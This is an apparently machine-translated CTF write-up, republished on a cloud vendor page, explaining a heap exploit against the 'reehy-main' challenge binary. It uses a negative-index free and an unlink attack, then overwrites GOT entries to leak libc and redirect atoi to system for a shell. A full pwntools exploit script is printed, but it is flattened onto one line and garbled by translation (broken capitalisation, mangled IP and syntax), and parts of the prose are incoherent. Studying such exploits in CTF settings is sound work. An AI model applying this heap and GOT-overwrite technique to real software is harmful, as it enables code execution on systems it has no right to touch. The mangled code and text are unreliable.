CTF-4-reehy-main debugging record-unlink

Source: Internet
Author: User

 

 

When the query question protection is enabled, it is found that only NX is enabled and relro and pie are not enabled. The idea can be expanded from modifying the got table.

 

 

Ida loads the execution process of the analysis program. The main function is found to be a conventional menu class question, presumably a heap-related question.

 

 

Malloc function. The maximum allocation value is 4096. If the allocation value exceeds 112, it is directly placed in the heap area. Otherwise, it is first stored in the stack area and then copied to the heap area. There is a struct that stores the heap size, heap pointer, and indicates whether to allocate the heap.

 

 

 

Delete function. Delete directly without judging whether the mark is deleted. After deletion, the flag is set to 0, but no pointer is set to 0. In the case of UAF, the point of use is double free. It may be a problem if the input is not negative.

 

 

Edit function. You can edit it only if it is released. Enter a string of the length stored by the struct when applying to the heap area.

 

 

The show function is invalid.

 

 

Usage ideas:

From the free function analysis, we do not determine whether the free block number is negative. It may be necessary to apply for a free block number after it is released, which may be allocated to key locations.

 

Using free (-2) will release the memory address that saves the heap block size array. After applying, you can apply for the address and modify it.

 

 

This is an array that stores the size of the heap block applied for. It is a heap block of 20.

As for why free (-2) is required, from the free function's assembly code analysis, we focus on what happened between input and free. We can see that, first compare whether the input is less than 4, and then shift the input logic left behind 4 bits and the value is-32, that is, 0x20. Therefore, 0x6020c0 is released after the assembly code is executed, that is, the memory area of the heap size is saved.

 

Because the block size is 0x20, that is, fastbin, we can release the block and then apply for a heap block of the same size to return to the memory area. Modify the chunk0 address through payload to 0x100 to overwrite chunk1.

 

 

Then, we can edit chunk0. we forge a chunk in chunk0 and its status is release. The FD and BK pointers point to 0x6020e0. The value is saved as the heap block pointer applied. We use this pointer to bypass the unlink check. After unlink is executed, the value is changed to 0x6020e0-0x18, that is, 0x6020c8. At this time, when we edit chunk0 again, the actual address we edit is 0x6020c8. We can control the following address through this address overflow.

 

 

Now, we are editing chunk0, that is, starting from 0x6020c8, By overwriting and modifying the struct value and whether to assign tags.

 

 

Now we still lack the system address. We can print the actual puts address by modifying the free function to the puts function. Note that when you modify the value of got, the sendline function cannot be used, that is, \ xa0 cannot be automatically added at the end, and an error occurs. Therefore, you need to modify the Edit function, make the sent content as Io. send (content ).

 

 

After that, we still lack the "/bin/sh" string. after observing the program, we find that the atoi function requires us to input parameters, while calling the system function also requires us to input parameters, so we changed the atoi function to the system function and sent the/bin/sh string. I don't know why the remaining characters are automatically replayed after the above free (1) execution. I can't use Edit, but I can only write it by hand.

 

 

The complete exp is as follows:

1 #! /Usr/bin/ENV Python 2 # Coding = UTF-8 3 4 from pwn import * 5 DEBUG = true 6 7 If debug: 8 IO = process ('. /pwn3 ') 9 libc = elf ('. /CTF. so.6 ') 10 context. log_level = 'debug' 11 else: 12 IO = remote ('2017. 168.17.2 ', 10001) 13 14 def welcome (): 15 Io. recvuntil ('$') 16 Io. sendline ('frdqy') 17 18 def add (size, index, content): 19 Io. recv () 20 Io. sendline ('1') 21 Io. recv (1024) 22 Io. sendline (STR (size) 23 Io. recv (1024) 24 Io. sendline (STR (INDEX) 25 Io. recv (1024) 26 Io. sendline (STR (content) 27 28 def free (INDEX): 29 Io. recv () 30 Io. sendline ('2') 31 Io. recv (1024) 32 Io. sendline (STR (INDEX) 33 34 def edit (index, content): 35 Io. recv () 36 Io. sendline ('3') 37 Io. recv (1024) 38 Io. sendline (STR (INDEX) 39 Io. recv (1024) 40 Io. send (content) 41 42 system_off = libc. symbols ['system'] 43 puts_off = libc. symbols ['puts '] 44 g_point = 0x6020e0 # Save the applying heap block struct 45 FD = g_point-0x18 # unlink bypass Check 46 BK = g_point-0x10 # unlink bypass check 47 free_got = 0x602018 48 puts_got = 0x602020 49 atoi_got = 0x602058 50 puts_plt = 0x4006d0 51 52 def exp (): 53 welcome () 54 add (0x80, 0, 'A' * 0x80) 55 add (0x80, 1, 'B' * 0x80) 56 57 # GDB. attach (IO) 58 free (-2) #59 60 payload = ''61 payload + = p32 (0x80*2) on the Array Memory where the heap block size is saved will be returned upon application) 62 payload + = p32 (0x80) 63 payload + = p32 (0) 64 payload + = p32 (0) 65 add (20, 2, payload) # modify the size of the applied heap blocks to 0x100 and 0x80 respectively, fill in the remaining value 66 67 # overflow Block 0 68 payload = ''69 payload + = p64 (0) # chunk0 pre_size 70 payload + = p64 (0x81) # chunk0 size 71 payload + = p64 (FD) # chunk0 FD 72 payload + = p64 (BK) # chunk0 BK 73 payload + = 'A' * (0x80-32) 74 payload + = p64 (LEN (payload) # chunk1 pre_size 75 payload + = p64 (0x90) # chunk1 size 76 edit (0, payload) 77 78 # unlink 79 free (1) 80 81 # edit chunk0. Actually, the value of g_point-0x18 is edited, can overwrite the structure of the heap pointer to 82 payload = ''83 payload + = p64 (0) 84 payload + = p64 (0) 85 payload + = p64 (0) 86 payload + = p64 (free_got) # change the first item to free_got 87 payload + = p64 (1) 88 payload + = p64 (puts_got) # change the second item to puts_got 89 payload + = p64 (1) 90 payload + = p64 (atoi_got) # change the third item to atoi_got 91 payload + = p64 (1) 92 edit (0, payload) 93 94 # edit chunk0, chunk1, and chunk2 to modify the corresponding function value 95 # Change free_got to puts to leak out the calculation of the libc loading address 96 edit (0, p64 (puts_plt) 97 98 # print the puts_got value 99 free (1) 100 puts_addr = u64 (Io. recv () [0: 6] + '\ x00 \ x00') 101 system_addr = puts_addr-puts_off + system_off102 103 # Change atoi to system104 # edit (2, p64 (system_addr )) 105 Io. sendline ('3') 106 Io. recv () 107 Io. sendline ('2') 108 Io. recv () 109 Io. sendline (p64 (system_addr) 110 111 # input/bin/sh112 Io. sendline ('/bin/Sh') 113 Io. interactive () 114 115 exp ()

 

CTF-4-reehy-main debugging record-unlink

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.